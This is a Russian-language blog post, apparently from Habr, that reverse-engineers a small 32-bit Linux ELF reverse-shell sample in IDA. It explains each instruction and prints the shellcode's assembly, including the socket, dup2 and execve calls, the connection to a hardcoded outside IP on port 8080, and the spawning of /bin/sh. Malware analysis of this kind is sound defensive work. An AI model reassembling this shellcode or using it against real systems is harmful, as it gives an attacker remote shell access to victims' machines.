Здравствуйте, уважаемые читатели Хабра и любители вирусного анализа!

Сегодня хочу поделиться своим дебютным (на Хабре) разбором простенького семпла шелла под Linux.

Начнём.

Откроем в файл в DIE. Семпл для 32-битной UNIX системы, не упакован.

DiE
DiE

Энтропии также не наблюдается.

Энтропия
Энтропия

Открываем в IDA. Наблюдаем стандартную заглушку ELF файлов, которая делает их исполняемыми. 464С457Fh - Elf-заголовок в little-endian. -> .ELF. По адресу 0x08048018 находится метка start - точка входа в программу.

Заглушка
Заглушка

Данный сегмент LOAD обладает правами- чтение/запись/исполнение.

Права секции LOAD
Права секции LOAD

Это подтверждается и полем Flags, которое равно 7.

Поле Flags
Поле Flags

Flags = 7 → в битовой форме 0b111

  • 1-й бит (0x1) → Execute

  • 2-й бит (0x2) → Write

  • 3-й бит (0x4) → Read

Метка start

Разберём первый фрагмент.

Метка start
Метка start

xor ebx,ebx - обнуляет регистр ebx. ->
mul ebx - обнуляет регистр eax (сокращённая запись mul eax, ebx - вероятно делается для экономии места, чтоб не писать mov eax, 0) ->
push ebx - на стэк кладётся 0. ->
inc ebx - увеличивает значение ebx на 1 ->
push ebx - значение 1 кладётся на стэк. ->
push 2 - на стек кладётся 2 ->
Таким образом мы получаем некий массив значений [2,1,0] ->
mov ecx, esp - перемещаём в есх адрес на данный массив. ->
mov al, 66h - перемещение в al(eax) 66h (66h - в 32-битных системах означает системный вызов socketcall) ->
int 80h - прерывание для линукс, для вызова socketcall ->
xchg eax, ebx - меняет содержимое регистров eax и ebx. Теперь ebx содержит дискриптор сокета. ->
pop ecx - со стека извлекается последнее добавленное значение - 2 ->

Сама структура выглядит следующим образом:

struct sockaddr_in { short sin_family; // AF_INET = 2    
                     unsigned short sin_port; // порт в сетевом порядке байт    
                     struct in_addr sin_addr; // IP-адрес    
                     char sin_zero[8]; // размер полей: sin_family(2 байта),
                                                        sin_port(2 байта),
                                                        sin_addr(4 байта) 
};

Следующий фрагмент(метка loc_8048065), согласно структуре, содержит адрес и порт для подключения.

Адрес подключения
Адрес подключения

mov al, 3fh - 3f это номер системного вызова dup2 в Lunux x86.
dup2(oldfd, newfd) дублирует файловый дескриптор: ebx - старый дескриптор, ecx - новый дескриптор. ebx уже хранит дескриптор сокета (сохранён после socket() → xchg eax, ebx)(Рисунок. Метка start). ecx содержит целевое значение файлового дескриптора, который мы хотим заменить.
int 80h - запускает dup2, дублирует сокет в есх.
dec ecx - уменьшает есх на 1.
jns short loc_8048065 - цикл работает пока флаг SF не будет равен нулю и ecx не будет иметь отрицательное значение.
Так как в ecx находится 2. то цикл будет проходить в 3 итерации и на третьей выйдет.
2 - 1 = 1
1 - 1 = 0
0 - 1 = -1 (SF < 0 ) потому цикл завершится.

В самом цикле происходит следующее перенаправление потоков.
dup2(sock, 2) — перенаправить stderr в сокет.
dup2(sock, 1) — перенаправить stdout в сокет.
dup2(sock, 0) — перенаправить stdin в сокет.

Дальше идет формирование sockaddr_in.
Тут формируется IP адрес и порт подключения.

Адрес и порт подключения
Адрес и порт подключения

Первое значение 7A592F34h - это IP адрес в формате in_addr к которому подключается данный реверсшелл. Адрес находится в little-endian, развернём его в Big-endian и изменим систему на десятичную.
7A 59 2F 34(hex) = 34 2F 59 7A(hex) = 52.47.89.122
Каждый байт соответствует одному октету в IP адресе, потому итоговый вариант разделяем точками.

Второе значение 901F0002h - это sin_port и sin_family. Проделаем с ними те же операции.
90 1F 00 02(hex) = 0200 1F90(hex) = 2 - AF_INET, 00 - разделитель, 8080 - порт подключения. Так как порт у нас имеет размер 2 байта, то переводим из hex в dec сразу 2 байта, не разделяя.

После определения адреса и порта происходит подключение.
mov al, 66h - системный вызов socketcall ->
push eax - размер структуры sockaddr_in ->
push ecx - указатель на sockaddr_in ->
push ebx - дескриптор сокета ->
mov bl, 3 - номер подфункции socketcall: connect ->
mov ecx, esp - указатель на массив аргументов ->
int 80h - подключение к 52.47.89.122:8080

Финальный фрагмент. Формирование оболочки.

Формирование оболочки
Формирование оболочки

push edx - edx = 0, кладём его на стек. Это окончание строки аргументов оболочки.
push 68732F6Eh - это закодированные ASCII символы в Little-endian.
6E(n) 2F(/) 73(s) 68(h) = n/sh
push 69622F2Fh - 2F(/) 2F(/) 62(b) 69(i) = //bi
mov ebx, esp - указатель на начало строки, где находятся аргументы, которые, если сложить, то получаем //bin/sh 0.
push edx - кладём 0 на стек, окончание массива.
push ebx - кладём на стек начало строки с оболочкой.
mov ecx, esp - перемещаем в ecx указатель на массив аргументов.
mov al, 0Bh - перемещаем в al(eax) номер системного вызова execve.
int 80h - прерывание, которое запускает процесс выполнения оболочки.

Итог

Этот семпл — классический реверс шелл для Linux, возможно созданный при помощи метасплойт:

  • Создаёт TCP-сокет.

  • Подключается (или слушает) на определённый порт.

  • Перенаправляет stdin/stdout/stderr на сокет.

  • Вызывает /bin/sh, давая полный удалённый доступ атакующему.

    Разбор подошел к концу. Спасибо за внимание, надеюсь, этот анализ был полезным.

Комментарии (0)